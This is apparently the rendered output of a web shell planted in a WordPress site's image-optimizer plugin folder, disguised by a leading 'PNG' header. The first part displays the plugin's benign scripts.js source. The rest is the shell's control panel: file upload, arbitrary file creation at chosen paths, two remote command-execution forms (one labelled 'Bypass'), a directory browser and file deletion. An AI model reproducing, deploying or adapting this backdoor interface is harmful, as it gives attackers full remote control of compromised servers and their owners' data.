PNG %k25u25%fgd5n! <div class='alert alert-info'><strong>/home/mkuwqnjx/asalmard.fit/wp-content/plugins/woodmart-images-optimizer/assets/js/scripts.js</strong></div><pre class='file-content'>/**
 * WoodMart Images Optimizer
 * Modern, modular image optimization JavaScript
 */
(function($) {
    &#039;use strict&#039;;

         // Configuration constants
     const CONFIG = {
         SELECTORS: {
             optimizeButton: &#039;.xts-optimizer-button&#039;,
             restoreButton: &#039;.xts-restore-button&#039;,
             bulkProgress: &#039;#bulk-progress&#039;,
             bulkProgressBar: &#039;#bulk-progress-bar&#039;,
             bulkProgressContainer: &#039;#bulk-progress-bar&#039;
         },
         CLASSES: {
             optimizationError: &#039;optimization-error&#039;,
             optimizationSuccess: &#039;optimization-success&#039;,
             optimizationCompleted: &#039;optimization-completed&#039;,
             processing: &#039;processing&#039;,
             restoreSuccess: &#039;restore-success&#039;,
             restoreError: &#039;restore-error&#039;
         },
         TIMEOUTS: {
             buttonRenable: 2000,
             bulkDelay: 1000,
             pageReload: 2000,
             restoreTransition: 800
         },
         MESSAGES: {
             optimizing: &#039;Optimizing...&#039;,
             restoring: &#039;Restoring...&#039;,
             optimized: &#039;Optimized!&#039;,
             restored: &#039;Restored!&#039;,
             optimize: &#039;Optimize&#039;,
             error: &#039;Error&#039;,
             timeout: &#039;Timeout&#039;,
             requestFailed: &#039;Request failed&#039;,
             connectionError: &#039;Connection error&#039;,
             restoreFailed: &#039;Restore failed&#039;
         },
         OPTIONS: {
             preventReOptimization: true, // Set to false to allow re-optimization
             debugMode: false // Set to true for console debugging
         }
     };

    /**
     * Base AJAX handler class
     */
    class AjaxHandler {
        constructor() {
            this.activeRequests = new Set();
        }

        /**
         * Make AJAX request with consistent error handling
         */
        async request(options) {
            const requestId = Math.random().toString(36).substr(2, 9);
            this.activeRequests.add(requestId);

            const defaultOptions = {
                url: xts_optimizer.ajax_url,
                type: &#039;POST&#039;,
                data: {
                    nonce: xts_optimizer.nonce
                }
            };

            const mergedOptions = { ...defaultOptions, ...options };
            
            return new Promise((resolve, reject) =&gt; {
                $.ajax({
                    ...mergedOptions,
                    success: (response) =&gt; {
                        this.activeRequests.delete(requestId);
                        resolve(response);
                    },
                    error: (xhr, status, error) =&gt; {
                        this.activeRequests.delete(requestId);
                        reject({ xhr, status, error });
                    }
                });
            });
        }

        /**
         * Cancel all active requests
         */
        cancelAllRequests() {
            this.activeRequests.clear();
        }
    }

    /**
     * Button state manager
     */
    class ButtonStateManager {
        constructor(button) {
            this.button = $(button);
            this.originalText = this.button.text();
            this.timeoutId = null;
        }

        setLoading(loadingText) {
            this.button.prop(&#039;disabled&#039;, true).text(loadingText);
            return this;
        }

        setSuccess(successText, cssClass) {
            this.button.text(successText).addClass(cssClass);
            return this;
        }

        setError(errorText, cssClass, tooltipText = null) {
            this.button.text(errorText).addClass(cssClass);
            if (tooltipText) {
                this.button.attr(&#039;title&#039;, tooltipText);
            }
            return this;
        }

                 enableAfterDelay(delay = CONFIG.TIMEOUTS.buttonRenable) {
             if (this.timeoutId) {
                 clearTimeout(this.timeoutId);
             }
             
             this.timeoutId = setTimeout(() =&gt; {
                 // Don&#039;t re-enable if optimization was completed successfully or still processing
                 if (!this.button.hasClass(CONFIG.CLASSES.optimizationCompleted) &amp;&amp; 
                     !this.button.hasClass(CONFIG.CLASSES.processing)) {
                     this.button.prop(&#039;disabled&#039;, false);
                 }
                 this.timeoutId = null;
             }, delay);
             return this;
         }

        destroy() {
            if (this.timeoutId) {
                clearTimeout(this.timeoutId);
            }
        }
    }

    /**
     * Individual image optimizer
     */
    class ImageOptimizer extends AjaxHandler {
        constructor() {
            super();
            this.bindEvents();
        }

        bindEvents() {
            $(document).on(&#039;click&#039;, CONFIG.SELECTORS.optimizeButton, this.handleOptimize.bind(this));
        }

                 async handleOptimize(event) {
             event.preventDefault();
             
             const button = $(event.currentTarget);
             const imageId = button.data(&#039;id&#039;);

             // Prevent optimization if button is disabled or already processing
             if (button.prop(&#039;disabled&#039;)) {
                 return;
             }

             // Prevent optimization if already completed (if option is enabled)
             if (CONFIG.OPTIONS.preventReOptimization &amp;&amp; button.hasClass(CONFIG.CLASSES.optimizationCompleted)) {
                 return;
             }

             // Prevent multiple simultaneous optimizations of the same image
             if (button.hasClass(CONFIG.CLASSES.processing)) {
                 return;
             }

             const buttonManager = new ButtonStateManager(button);

             if (!imageId) {
                 buttonManager.setError(CONFIG.MESSAGES.error, CONFIG.CLASSES.optimizationError, &#039;Invalid image ID&#039;);
                 return;
             }

             // Mark as processing and disable immediately
             button.addClass(CONFIG.CLASSES.processing);
             buttonManager.setLoading(CONFIG.MESSAGES.optimizing);

                         try {
                 const response = await this.request({
                     data: {
                         action: &#039;xts_optimizer_run&#039;,
                         image_id: imageId,
                         nonce: xts_optimizer.nonce
                     }
                 });

                 this.handleOptimizeResponse(response, buttonManager, imageId);
             } catch (error) {
                 this.handleOptimizeError(error, buttonManager);
             } finally {
                 // Remove processing class
                 button.removeClass(CONFIG.CLASSES.processing);
                 
                 // Only re-enable if optimization didn&#039;t complete successfully
                 if (!CONFIG.OPTIONS.preventReOptimization || !button.hasClass(CONFIG.CLASSES.optimizationCompleted)) {
                     buttonManager.enableAfterDelay();
                 }
             }
        }

        handleOptimizeResponse(response, buttonManager, imageId) {
            if (!response.success) {
                buttonManager.setError(CONFIG.MESSAGES.requestFailed, CONFIG.CLASSES.optimizationError);
                return;
            }

            const { data } = response;
            const { result } = data;

            if (result.error) {
                this.handleApiError(result, buttonManager);
            } else {
                this.handleOptimizeSuccess(result, buttonManager, imageId);
            }
        }

        handleApiError(result, buttonManager) {
            const errorText = result.message?.includes(&#039;timed out&#039;) 
                ? CONFIG.MESSAGES.timeout 
                : CONFIG.MESSAGES.error;
            
            const fullErrorText = `${errorText}: ${result.message || &#039;Optimization failed&#039;}`;
            const tooltipText = `Error: ${result.message || &#039;Unknown error&#039;}`;
            
            buttonManager.setError(fullErrorText, CONFIG.CLASSES.optimizationError, tooltipText);
        }

                 handleOptimizeSuccess(result, buttonManager, imageId) {
             let displayText = CONFIG.MESSAGES.optimized;

             // Add compression info
             const compressionPercentage = result.compression_percentage || 
                 result.optimization?.compression_ratio;
             
             if (compressionPercentage) {
                 displayText += ` (${compressionPercentage}% smaller)`;
             }

             // Add replacement status
             if (result.replacement_error === false) {
                 displayText += &#039; &amp; Replaced&#039;;
             } else if (result.replacement_error === true) {
                 displayText = &#039;Optimized (Replace Failed)&#039;;
             }

             buttonManager.setSuccess(displayText, CONFIG.CLASSES.optimizationSuccess);

             // Disable the button permanently after successful optimization (if option is enabled)
             if (CONFIG.OPTIONS.preventReOptimization) {
                 buttonManager.button.prop(&#039;disabled&#039;, true).addClass(CONFIG.CLASSES.optimizationCompleted);
             }

             // Add restore button if backup was created
             if (result.backup_created) {
                 this.addRestoreButton(buttonManager.button, imageId, result.backup_filename);
             }
         }

        addRestoreButton(button, imageId, backupFilename) {
            const restoreButton = $(`
                &lt;br&gt;
                &lt;a href=&quot;#&quot; class=&quot;xts-restore-button&quot; 
                   data-id=&quot;${imageId}&quot; 
                   title=&quot;Restore from: ${backupFilename || &#039;backup&#039;}&quot;&gt;
                   Restore Backup
                &lt;/a&gt;
            `);
            button.parent().append(restoreButton);
        }

        handleOptimizeError(error, buttonManager) {
            const errorMessage = error.error || &#039;Connection error&#039;;
            const tooltipText = `Connection error: ${errorMessage}`;
            buttonManager.setError(CONFIG.MESSAGES.connectionError, CONFIG.CLASSES.optimizationError, tooltipText);
        }
    }

    /**
     * Image restore handler
     */
    class ImageRestorer extends AjaxHandler {
        constructor() {
            super();
            this.bindEvents();
        }

        bindEvents() {
            $(document).on(&#039;click&#039;, CONFIG.SELECTORS.restoreButton, this.handleRestore.bind(this));
        }

                 async handleRestore(event) {
             event.preventDefault();
             
             const button = $(event.currentTarget);
             const imageId = button.data(&#039;id&#039;);

             // Prevent restore if button is disabled or already processing
             if (button.prop(&#039;disabled&#039;) || button.hasClass(CONFIG.CLASSES.processing)) {
                 return;
             }

             if (!this.confirmRestore()) {
                 return;
             }

             if (!imageId) {
                 this.showRestoreError(button, &#039;Invalid image ID&#039;);
                 return;
             }

             // Mark as processing and disable immediately
             button.addClass(CONFIG.CLASSES.processing);
             
             const buttonManager = new ButtonStateManager(button);
             buttonManager.setLoading(CONFIG.MESSAGES.restoring);

            try {
                const response = await this.request({
                    data: {
                        action: &#039;xts_optimizer_restore&#039;,
                        image_id: imageId,
                        nonce: xts_optimizer.nonce
                    }
                });

                                 this.handleRestoreResponse(response, buttonManager, imageId);
             } catch (error) {
                 this.handleRestoreError(error, buttonManager);
             } finally {
                 // Remove processing class
                 button.removeClass(CONFIG.CLASSES.processing);
                 buttonManager.enableAfterDelay();
             }
        }

        confirmRestore() {
            return confirm(&#039;Are you sure you want to restore the original image? This will replace the optimized version.&#039;);
        }

                 handleRestoreResponse(response, buttonManager, imageId) {
             if (response.success) {
                 buttonManager.setSuccess(CONFIG.MESSAGES.restored, CONFIG.CLASSES.restoreSuccess);
                 
                 // Delay the UI updates slightly for better user feedback
                 setTimeout(() =&gt; {
                     this.resetOptimizeButton(imageId);
                     this.removeOptimizationInfo(imageId);
                     this.removeRestoreButton(buttonManager.button);
                 }, CONFIG.TIMEOUTS.restoreTransition);
             } else {
                 const errorMessage = response.data || &#039;Unknown error&#039;;
                 buttonManager.setError(CONFIG.MESSAGES.restoreFailed, CONFIG.CLASSES.restoreError, `Error: ${errorMessage}`);
             }
         }

        handleRestoreError(error, buttonManager) {
            const errorMessage = error.error || &#039;Connection error&#039;;
            buttonManager.setError(CONFIG.MESSAGES.connectionError, CONFIG.CLASSES.restoreError, `Connection error: ${errorMessage}`);
        }

                 schedulePageReload() {
             // Legacy method - no longer used since we reset buttons instead of reloading
             setTimeout(() =&gt; {
                 window.location.reload();
             }, CONFIG.TIMEOUTS.pageReload);
         }

         showRestoreError(button, message) {
             const buttonManager = new ButtonStateManager(button);
             buttonManager.setError(CONFIG.MESSAGES.restoreFailed, CONFIG.CLASSES.restoreError, message);
         }

         resetOptimizeButton(imageId) {
             if (CONFIG.OPTIONS.debugMode) {
                 console.log(&#039;Resetting optimize button for image ID:&#039;, imageId);
             }
             
             // Find the optimize button for this image
             let optimizeButton = $(CONFIG.SELECTORS.optimizeButton).filter(`[data-id=&quot;${imageId}&quot;]`);
             
             if (optimizeButton.length) {
                 if (CONFIG.OPTIONS.debugMode) {
                     console.log(&#039;Found existing optimize button, resetting state&#039;);
                 }
                 // Reset existing button
                 optimizeButton.fadeOut(200, function() {
                     // Reset button to initial state
                     $(this)
                         .prop(&#039;disabled&#039;, false)
                         .removeClass([
                             CONFIG.CLASSES.optimizationSuccess,
                             CONFIG.CLASSES.optimizationError,
                             CONFIG.CLASSES.optimizationCompleted,
                             CONFIG.CLASSES.processing
                         ].join(&#039; &#039;))
                         .attr(&#039;title&#039;, &#039;&#039;) // Clear any error tooltips
                         .text(CONFIG.MESSAGES.optimize) // Reset to original text
                         .fadeIn(200); // Fade back in with new state
                 });
             } else {
                 if (CONFIG.OPTIONS.debugMode) {
                     console.log(&#039;No existing optimize button found, creating new one&#039;);
                 }
                 
                 // No optimize button exists, create a new one
                 // Find the container for this image&#039;s optimizer buttons
                 const buttonsContainer = $(`.xts-optimizer-buttons`).has(`[data-id=&quot;${imageId}&quot;]`);
                 
                 if (buttonsContainer.length) {
                     if (CONFIG.OPTIONS.debugMode) {
                         console.log(&#039;Found buttons container, adding new optimize button&#039;);
                     }
                     // Create a new optimize button
                     const newOptimizeButton = $(`
                         &lt;a href=&quot;#&quot; class=&quot;xts-optimizer-button&quot; data-id=&quot;${imageId}&quot;&gt;
                             ${CONFIG.MESSAGES.optimize}
                         &lt;/a&gt;
                     `);
                     
                     // Add it to the beginning of the container with animation
                     newOptimizeButton.hide().prependTo(buttonsContainer).fadeIn(400);
                     
                     // Note: Event binding is handled by event delegation in bindEvents(), so no need to rebind
                 }
             }
         }

         removeRestoreButton(restoreButton) {
             // Remove the restore button and its preceding &lt;br&gt; tag with animation
             const $restoreButton = $(restoreButton);
             const $prevBr = $restoreButton.prev(&#039;br&#039;);
             
             $restoreButton.fadeOut(300, function() {
                 if ($prevBr.length) {
                     $prevBr.remove();
                 }
                 $restoreButton.remove();
             });
         }

         removeOptimizationInfo(imageId) {
             // Find and remove the optimization info display for this image
             const buttonsContainer = $(`.xts-optimizer-buttons`).has(`[data-id=&quot;${imageId}&quot;]`);
             
             if (buttonsContainer.length) {
                 // Find and remove optimization info within the same parent container
                 const optimizationInfo = buttonsContainer.siblings(&#039;.xts-optimization-info&#039;).add(
                     buttonsContainer.parent().find(&#039;.xts-optimization-info&#039;)
                 );
                 
                 if (optimizationInfo.length) {
                     optimizationInfo.fadeOut(300, function() {
                         $(this).remove();
                     });
                 }
             }
         }
    }

    /**
     * Bulk optimization handler
     */
    class BulkOptimizer extends AjaxHandler {
        constructor() {
            super();
            this.isProcessing = false;
            this.processed = 0;
            this.errors = 0;
            this.successes = 0;
        }

        initialize() {
            if (typeof window.woodmartBulkOptimize === &#039;undefined&#039;) {
                return;
            }

            this.batchId = window.woodmartBulkOptimize.batch_id;
            this.total = window.woodmartBulkOptimize.total;
            this.resetCounters();
            this.startProcessing();
        }

        resetCounters() {
            this.processed = 0;
            this.errors = 0;
            this.successes = 0;
        }

        async startProcessing() {
            if (this.isProcessing) {
                return;
            }

            this.isProcessing = true;
            await this.processBatch(0);
        }

        async processBatch(offset) {
            try {
                const response = await this.request({
                    data: {
                        action: &#039;xts_optimizer_bulk&#039;,
                        batch_id: this.batchId,
                        offset: offset,
                        nonce: xts_optimizer.nonce
                    }
                });

                this.handleBatchResponse(response);
            } catch (error) {
                this.handleBatchError();
            }
        }

        handleBatchResponse(response) {
            if (!response.success) {
                this.showBatchError(response.data || &#039;Unknown error&#039;);
                return;
            }

            const { data } = response;
            this.processed = data.processed;

            // Count results
            data.results.forEach(result =&gt; {
                if (result.success) {
                    this.successes++;
                } else {
                    this.errors++;
                }
            });

            this.updateProgress(data.progress_percentage);

            if (data.complete) {
                this.handleBatchCompletion();
            } else {
                this.scheduleContinuation();
            }
        }

        updateProgress(progressPercentage) {
            $(CONFIG.SELECTORS.bulkProgress).text(this.processed);
            $(`${CONFIG.SELECTORS.bulkProgressBar} div`).css(&#039;width&#039;, `${progressPercentage}%`);
        }

        handleBatchCompletion() {
            const message = this.buildCompletionMessage();
            const progressContainer = $(CONFIG.SELECTORS.bulkProgressBar).parent();
            progressContainer.html(`&lt;p style=&quot;color: green;&quot;&gt;&lt;strong&gt;${message}&lt;/strong&gt;&lt;/p&gt;`);
            this.schedulePageRedirect();
        }

        buildCompletionMessage() {
            let message = `Bulk optimization complete! ${this.successes} images optimized`;
            if (this.errors &gt; 0) {
                message += `, ${this.errors} errors occurred`;
            }
            return message;
        }

        scheduleContinuation() {
            setTimeout(() =&gt; {
                this.processBatch(this.processed);
            }, CONFIG.TIMEOUTS.bulkDelay);
        }

        schedulePageRedirect() {
            setTimeout(() =&gt; {
                const url = window.location.href.replace(/[?&amp;](bulk_optimize|image_count)=[^&amp;]*/g, &#039;&#039;);
                window.location.href = url;
            }, CONFIG.TIMEOUTS.pageReload);
        }

        showBatchError(errorMessage) {
            const progressContainer = $(CONFIG.SELECTORS.bulkProgressBar).parent();
            progressContainer.html(`&lt;p style=&quot;color: red;&quot;&gt;&lt;strong&gt;Error: ${errorMessage}&lt;/strong&gt;&lt;/p&gt;`);
        }

        handleBatchError() {
            const progressContainer = $(CONFIG.SELECTORS.bulkProgressBar).parent();
            progressContainer.html(&#039;&lt;p style=&quot;color: red;&quot;&gt;&lt;strong&gt;Network error occurred during bulk optimization.&lt;/strong&gt;&lt;/p&gt;&#039;);
        }
    }

    /**
     * Main application controller
     */
    class WoodMartOptimizer {
        constructor() {
            this.optimizer = new ImageOptimizer();
            this.restorer = new ImageRestorer();
            this.bulkOptimizer = new BulkOptimizer();
        }

        initialize() {
            this.bulkOptimizer.initialize();
        }

        destroy() {
            // Clean up any resources
            this.optimizer.cancelAllRequests();
            this.restorer.cancelAllRequests();
            this.bulkOptimizer.cancelAllRequests();
        }
    }

    // Initialize when DOM is ready
    $(document).ready(() =&gt; {
        const app = new WoodMartOptimizer();
        app.initialize();

        // Clean up on page unload
        $(window).on(&#039;beforeunload&#039;, () =&gt; {
            app.destroy();
        });
    });

})(jQuery);</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/mkuwqnjx/asalmard.fit/wp-content/plugins/woodmart-images-optimizer/assets/js">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/mkuwqnjx/asalmard.fit/wp-content/plugins/woodmart-images-optimizer/assets/js" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Fmkuwqnjx">mkuwqnjx</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fasalmard.fit">asalmard.fit</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fasalmard.fit%2Fwp-content">wp-content</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fasalmard.fit%2Fwp-content%2Fplugins">plugins</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fasalmard.fit%2Fwp-content%2Fplugins%2Fwoodmart-images-optimizer">woodmart-images-optimizer</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fasalmard.fit%2Fwp-content%2Fplugins%2Fwoodmart-images-optimizer%2Fassets">assets</a>/<a href="?path=%2Fhome%2Fmkuwqnjx%2Fasalmard.fit%2Fwp-content%2Fplugins%2Fwoodmart-images-optimizer%2Fassets%2Fjs">js</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Fmkuwqnjx%2Fasalmard.fit%2Fwp-content%2Fplugins%2Fwoodmart-images-optimizer%2Fassets%2Fjs&view_file=%2Fhome%2Fmkuwqnjx%2Fasalmard.fit%2Fwp-content%2Fplugins%2Fwoodmart-images-optimizer%2Fassets%2Fjs%2Fscripts.js"> scripts.js</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/mkuwqnjx/asalmard.fit/wp-content/plugins/woodmart-images-optimizer/assets/js/scripts.js">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
document.addEventListener('DOMContentLoaded', () => {
  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
  });
});
</script>
</body>
</html>